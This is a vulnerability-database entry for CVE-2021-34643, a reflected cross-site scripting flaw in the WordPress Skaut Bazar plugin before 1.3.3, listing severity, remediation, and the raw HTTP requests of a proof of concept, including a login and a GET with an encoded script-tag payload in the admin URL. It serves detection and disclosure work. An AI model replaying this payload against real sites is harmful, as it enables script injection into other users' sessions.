🔙 목록으로 돌아가기

CVE-2021-34643: WordPress Skaut Bazar <1.3.3 - Cross-Site Scripting

TitleWordPress Skaut Bazar <1.3.3 - Cross-Site Scripting
AuthordhiyaneshDK
SeverityMedium
ImpactSuccessful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential theft of sensitive information or unauthorized actions.
RemediationUpdate to the latest version of WordPress Skaut Bazar plugin (1.3.3) or apply the vendor-provided patch to fix the XSS vulnerability.
CVSS Score6.1
EPSS Score0.23353
CVE IDCVE-2021-34643
CWE IDCWE-79
Tags cve2021 cve wpscan wordpress wp-plugin authenticated skaut-bazar_project xss vuln

🔍 Vulnerability Description

WordPress Skaut Bazar plugin before 1.3.3 contains a reflected cross-site scripting vulnerability due to the use of $_SERVER[‘PHP_SELF’] in the ~/skaut-bazar.php file, which allows attackers to inject arbitrary web scripts.

🌐 HTTP Request

POST /wp-login.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:136.0) Gecko/20100101 Firefox/136.0
Connection: close
Content-Length: 51
Content-Type: application/x-www-form-urlencoded
Cookie: wordpress_test_cookie=WP%20Cookie%20check
Origin: /
Accept-Encoding: gzip

log=zC2STO&pwd=TojYfX&wp-submit=Log+In&testcookie=1
GET /wp-admin/options-general.php/%3C/script%3E%3Cscript%3Ealert%28document.domain%29%3C/script%3E/?page=skatubazar_option HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Linux i686; rv:1.9.6.20) Gecko/ Firefox/3.6.12
Connection: close
Accept-Encoding: gzip

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2021/CVE-2021-34643.yaml

🦈 Packet Capture: ⬇️ Download cve-2021-34643.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A